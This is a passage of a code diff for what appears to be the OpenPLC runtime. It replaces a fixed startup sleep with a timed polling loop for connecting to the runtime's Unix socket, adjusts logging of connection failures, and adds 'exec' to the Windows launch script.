seconds on an SLM-RP4) +RUNTIME_SOCKET_WAIT_S = 10.0 + class RuntimeManager: def __init__(self, runtime_path, plc_socket, log_socket, print_debug=False): @@ -92,13 +95,32 @@ def _safe_start_log_server(self): except Exception as e: logger.error("Failed to start log server (unexpected): %s", e) - def _safe_connect_runtime_socket(self): + def _safe_connect_runtime_socket(self, report: bool = True) -> bool: try: self.runtime_socket.connect() except (FileNotFoundError, OSError, socket.error) as e: - logger.error("Failed to connect to runtime socket: %s", e) + if report: + logger.error("Failed to connect to runtime socket: %s", e) + return False except Exception as e: logger.error("Failed to connect to runtime socket (unexpected): %s", e) + return False + if not self.runtime_socket.is_connected(): + if report: + logger.error("Failed to connect to runtime socket %s", self.plc_socket) + return False + return True + + def _connect_runtime_socket_when_ready(self) -> None: + """Connect to a runtime that was just started, waiting while it opens its socket.""" + deadline = time.monotonic() + RUNTIME_SOCKET_WAIT_S + while time.monotonic() < deadline: + if self._safe_connect_runtime_socket(report=False): + return + if not self.is_runtime_alive(): + break + time.sleep(0.2) + self._safe_connect_runtime_socket() def _safe_stop_log_server(self): try: @@ -160,8 +182,7 @@ def start(self): except (OSError, subprocess.SubprocessError) as e: logger.error("Failed to start PLC runtime process: %s", e) self.process = None - time.sleep(1) # Give time to start - self._safe_connect_runtime_socket() + self._connect_runtime_socket_when_ready() # Start monitor thread if not self.monitor_thread.is_alive(): @@ -197,8 +218,7 @@ def _start_runtime_process(self, safe_mode: bool = False, after_fault: bool = Fa except (OSError, subprocess.SubprocessError) as e: logger.error("Failed to start PLC runtime process: %s", e) self.process = None - time.sleep(1) # Give time to start - self._safe_connect_runtime_socket() + self._connect_runtime_socket_when_ready() def _record_crash_and_check_safe_mode(self): """Record a crash timestamp and check if safe mode should be entered.""" diff --git a/webserver/unixclient.py b/webserver/unixclient.py index 8089a448..dbee5316 100644 --- a/webserver/unixclient.py +++ b/webserver/unixclient.py @@ -43,7 +43,8 @@ def connect(self): self.sock = sock logger.debug("Connected to server socket %s", self.socket_path) except Exception as e: - logger.error("Failed to connect: %s", e) + # The caller decides whether a failure is worth reporting (plc_main may still be booting) + logger.debug("Failed to connect: %s", e) if sock is not None: try: sock.close() diff --git a/windows/StartOpenPLC.bat b/windows/StartOpenPLC.bat index 529f0904..0a4d15c4 100644 --- a/windows/StartOpenPLC.bat +++ b/windows/StartOpenPLC.bat @@ -46,7 +46,7 @@ if not exist "%MSYS2_ROOT%\run\runtime" ( ) REM Start the OpenPLC Runtime -"%MSYS2_ROOT%\usr\bin\bash.exe" -lc "cd '%OPENPLC_MSYS_PATH%' && ./venvs/runtime/bin/python3 -m webserver.app" +"%MSYS2_ROOT%\usr\bin\bash.exe" -lc "cd '%OPENPLC_MSYS_PATH%' && exec ./venvs/runtime/bin/python3 -m webserver.app" if %ERRORLEVEL% neq 0 ( echo.